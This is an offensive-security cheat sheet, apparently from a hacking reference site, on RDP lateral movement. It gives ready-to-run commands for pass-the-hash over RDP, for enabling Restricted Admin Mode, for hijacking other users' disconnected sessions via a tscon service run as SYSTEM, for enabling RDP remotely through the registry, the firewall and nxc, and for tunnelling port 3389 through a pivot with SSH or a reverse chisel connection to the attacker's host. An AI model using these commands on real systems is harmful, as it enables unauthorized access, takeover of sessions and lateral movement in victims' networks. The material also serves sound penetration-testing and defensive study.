Skip to content
HackIndex logo

HackIndex

RDP Hijacking and Credential Reuse

2 min read Jul 14, 2026

RDP lateral movement covers two distinct techniques: authenticating to RDP with valid credentials or hashes, and hijacking existing RDP sessions belonging to other users without needing their credentials. Session hijacking requires SYSTEM-level access on the target host and works regardless of whether the session owner is actively connected.

RDP access with credentials

Standard RDP access from Linux using valid credentials. The most straightforward path when you have credentials and port 3389 is reachable.

┌──(kali㉿kali)-[~]
└─$ # xfreerdp — most feature-complete Linux RDP client
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Ignore certificate warnings
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert-ignore
 
┌──(kali㉿kali)-[~]
└─$ # Drive redirection (mount local folder on remote desktop)
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /drive:share,/home/kali/transfer
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash via RDP (requires Restricted Admin Mode enabled)
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /pth:$NTHASH /v:$TARGET_IP /cert-ignore

Pass-the-Hash over RDP only works when Restricted Admin Mode is enabled on the target. Check with: reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin — a value of 0 means it is enabled. If it is not enabled and you have admin access, you can enable it: reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0.

RDP session hijacking

From a SYSTEM shell on a Windows host, you can take over any disconnected RDP session belonging to any user without knowing their password. This works by creating a new service that runs tscon to connect your current session to the target session.

PS C:\Users\Guest\Desktop> # List active and disconnected sessions
PS C:\Users\Guest\Desktop> query session
PS C:\Users\Guest\Desktop> qwinsta
 
PS C:\Users\Guest\Desktop> # Example output shows session IDs:
PS C:\Users\Guest\Desktop> # SESSIONNAME USERNAME ID STATE
PS C:\Users\Guest\Desktop> # services 0 Disc
PS C:\Users\Guest\Desktop> # >rdp-tcp#0 current 1 Active
PS C:\Users\Guest\Desktop> # rdp-tcp#1 admin 2 Disc <-- target to hijack
 
PS C:\Users\Guest\Desktop> # Hijack session ID 2 — requires SYSTEM
PS C:\Users\Guest\Desktop> tscon 2 /dest:rdp-tcp#0
 
PS C:\Users\Guest\Desktop> # If not already SYSTEM, create a service to run tscon as SYSTEM
PS C:\Users\Guest\Desktop> sc create hijack binPath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"
PS C:\Users\Guest\Desktop> sc start hijack

Once you run tscon, your RDP session transitions to the hijacked session and you are now operating as that user with their full desktop. No re-authentication occurs. Clean up the service after use: sc delete hijack.

Enabling RDP remotely

When RDP is disabled on a target you can reach via another method, enable it through the registry or firewall rules.

PS C:\Users\Guest\Desktop> # Enable RDP via registry (requires admin)
PS C:\Users\Guest\Desktop> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
PS C:\Users\Guest\Desktop> # Allow RDP through Windows Firewall
PS C:\Users\Guest\Desktop> netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
 
PS C:\Users\Guest\Desktop> # Confirm RDP service is running
PS C:\Users\Guest\Desktop> Get-Service -Name TermService | Set-Service -StartupType Automatic
PS C:\Users\Guest\Desktop> Start-Service -Name TermService
 
PS C:\Users\Guest\Desktop> # Enable via nxc remotely
PS C:\Users\Guest\Desktop> nxc smb $TARGET_IP -u $USER -p $PASSWORD -M rdp -o ACTION=enable

RDP port forwarding when 3389 is not directly reachable

When the target's RDP port is only reachable from the internal network, forward it through your existing shell session.

┌──(kali㉿kali)-[~]
└─$ # Forward remote 3389 to local port 13389 through a pivot host
┌──(kali㉿kali)-[~]
└─$ ssh -L 13389:$TARGET_IP:3389 user@$PIVOT_HOST
 
┌──(kali㉿kali)-[~]
└─$ # Connect to forwarded port
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:127.0.0.1:13389
 
┌──(kali㉿kali)-[~]
└─$ # Chisel tunnel alternative (when SSH is not available)
┌──(kali㉿kali)-[~]
└─$ # On attack box:
┌──(kali㉿kali)-[~]
└─$ chisel server -p 8080 --reverse
┌──(kali㉿kali)-[~]
└─$ # On pivot host:
┌──(kali㉿kali)-[~]
└─$ chisel client $LHOST:8080 R:13389:$TARGET_IP:3389
┌──(kali㉿kali)-[~]
└─$ # Then connect:
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:127.0.0.1:13389

For the broader pivoting and tunneling workflow when multiple network segments are involved see WinRM and PowerShell Remoting. For using recovered RDP credentials for persistence see Windows Account and Backdoor Creation.

References